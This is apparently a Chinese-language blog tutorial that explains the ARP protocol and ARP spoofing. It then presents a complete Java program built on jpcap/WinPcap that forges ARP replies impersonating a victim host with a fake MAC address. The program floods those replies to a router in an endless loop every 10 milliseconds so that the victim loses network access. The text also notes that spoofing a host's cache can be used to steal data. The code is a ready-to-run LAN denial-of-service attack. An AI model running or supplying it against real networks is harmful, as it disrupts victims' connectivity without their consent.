基于JAVA的ARP欺骗的程序实现

       在实现ARP欺骗之前,我们必须知道什么是ARP。
       在局域网当中,当主机或其它网络设备有数据要发送给另一个主机或设备时,它必须要知道对方的IP地址,但仅仅有IP地址是不够的,因为IP数据报文必须封装成帧才能通过物理网络发送,因此发送站还必须有接收站的物理地址,所以需要一个从IP地址到物理地址的映射。ARP就是实现这个功能的协议。
       我们通过一个简单的例子来解释一下ARP在局域网中的运作。

       1.假设现在有一个主机A和一个主机B,二者处在同一个局域网当中。当主机A需要和主机B进行数据通信的时候,主机A会在自己的ARP缓存中查找是否有与主机B对应的ARP表项。

       2.如果A在自己的ARP缓存当中找到了与主机B对应的ARP表,主机A直接利用ARP表中的MAC地址将IP数据包进行帧封装,将数据包发送给主机B。

       3.如果A在自己的ARP缓存中没有找到与主机B对应的ARP表,则主机A将以广播的方式发送一个ARP请求,该请求中包含了主机A本身的IP地址(源IP地址)和MAC地址(源MAC地址),同时包含了主机B的IP地址(目标IP地址)。由于请求是以广播的形式发送的,所以处于该局域网的所有主机都能够检测到该ARP请求,但是只有和ARP请求中目标IP地址相同的主机才能够收到ARP请求,其余的主机都会讲该ARP请求抛弃。主机B收到由A发送的ARP请求后,会向主机A以单播的形式发送一个ARP回复,该回复中包含了主机B的IP地址(源IP地址),主机B的MAC地址(源MAC地址),主机A的IP地址(目标IP地址),主机A的MAC地址(目标MAC地址)。同时会将主机A的IP地址和MAC地址写入自己的ARP缓存当中。
       4.主机A收到来自主机B的ARP的回复后,将ARP回复中的主机B的IP地址和MAC地址添加到自己的ARP缓存当中。这样主机A便能和主机B进行通信了。
       在对ARP的工作过程进行剖析后,我们就能够对ARP欺骗进行讲解了。
       ARP欺骗分为两种,一种是针对路由器进行欺骗,使路由器的ARP缓存中建立错误的IP与MAC地址映射表,结果就是从路由器发送的数据都发给了一个错误的MAC地址,造成主机无法正常接收信息。另一种是对主机中的ARP缓存进行欺骗,伪造主机路由器IP和MAC地址映射表,使主机发送的数据都发送到伪造后的MAC地址对应的主机上,这种情况不仅会使主机不能正常上网,而且还能用来窃取信息。

       我们用程序实现第一种ARP欺骗,并对第一种欺骗方式进行举例。

       假设现在主机A和主机B通过路由器C连接在同一个局域网内,主机A是欺骗方,主机B是被欺骗方。主机A在自己的ARP缓存中查到路由器C的IP地址IP_C,MAC地址MAC_C,查到主机B的IP地址IP_B。接下来,主机A自己生成一个ARP回复,该回复的源IP并不是主机A的IP地址,而是冒充主机B的IP地址IP_B,同时编造一个不存在的MAC地址作为回复的源MAC地址,目标IP是IP_C,目标MAC地址是MAC_C。这个ARP回复以单播的形式发送给路由器C之后,路由器并不会验证回复的真实性,而是会把IP_B和一个不存在的MAC地址写入自己的ARP缓存,此时,所有通过路由器发送给主机B的数据,都会因为找不到目标而发送失败。

       总结一下:主机A冒充主机B不断向路由器发送一个包含错误的IP和MAC映射表的ARP回复,使经由路由器发给B的数据无法到达目的地,从而致使主机B无法正常上网。

       接下来,我们用JAVA程序来实现这个欺骗过程。注意:JAVA自身是没有办法对数据链路层进行相关操作的,而ARP包的发送处于数据链路层。我们必须借助WinPcap来实现对数据链路层的相关操作,同时需要jpcap来作为沟通JAVA和WinPcap的媒介。所以应该提前安装WinPcap和jpcap。

       需要补充解释一点:我们会在程序当中伪造一个ARP回复,这里必须了解ARP报文的结构。报文结构如下:

      基于JAVA的ARP欺骗的程序实现_第1张图片

       上图详细的说明了报文的构成,我们在生成ARP回复时,是通过jpcap提供的类ARPPacket来生成的,必须要把ARP中的每一个数据填充清楚,否则就会发送不成功。

代码如下:

import java.net.InetAddress;  
import jpcap.JpcapCaptor;  
import jpcap.JpcapSender;  
import jpcap.NetworkInterface;  
import jpcap.packet.ARPPacket;  
import jpcap.packet.EthernetPacket;  
  
public class Test{  
    static byte[] stomac(String s) {  
        byte[] mac = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 };  
        String[] s1 = s.split("-");  
        for (int x = 0; x < s1.length; x++) {  
            mac[x] = (byte) ((Integer.parseInt(s1[x], 16)) & 0xff);  
        }  
        return mac;  
    }  
    public static void main(String[] args) throws Exception {  
        InetAddress desip = InetAddress.getByName("192.168.0.1");// 被欺骗的目标IP地址  
        byte[] desmac = stomac("c8-3a-35-4a-0c-08");// 被欺骗的目标目标MAC数组  
        InetAddress srcip = InetAddress.getByName("192.168.0.105");// 源IP地址  
        byte[] srcmac = stomac("3c-97-0e-45-01-d4"); // 假的MAC数组  
        // 枚举网卡并打开设备  
        NetworkInterface[] devices = JpcapCaptor.getDeviceList();  //枚举网卡设备
        NetworkInterface device = devices[2];  //选择网卡设备
        JpcapSender sender = JpcapSender.openDevice(device);  //打开网卡设备
        // 设置ARP包  
        ARPPacket arp = new ARPPacket();  
        arp.hardtype = ARPPacket.HARDTYPE_ETHER;    //硬件类型
        arp.prototype = ARPPacket.PROTOTYPE_IP;   //协议类型
        arp.operation = ARPPacket.ARP_REPLY;	  //操作类型 REPLY 表示类型为应答
        arp.hlen = 6;  //硬件地址长度
        arp.plen = 4;  //协议类型长度
        arp.sender_hardaddr = srcmac;  //发送端MAC地址
        arp.sender_protoaddr = srcip.getAddress(); //发送端IP地址  
        arp.target_hardaddr = desmac;  //目标硬件地址
        arp.target_protoaddr = desip.getAddress(); //目标IP地址
        // 定义以太网首部
		EthernetPacket ether = new EthernetPacket();  
        ether.frametype = EthernetPacket.ETHERTYPE_ARP;  //设置帧的类型为ARP帧
        ether.src_mac = srcmac;  //源MAC地址
        ether.dst_mac = desmac;  //目标MAC地址
        arp.datalink = ether;  //添加
        // 发送ARP应答包  
        while (true) {  
            System.out.println("sending arp..");  
            sender.sendPacket(arp);  
            Thread.sleep(10);  
        }  
    }  
}  


你可能感兴趣的:(网络安全)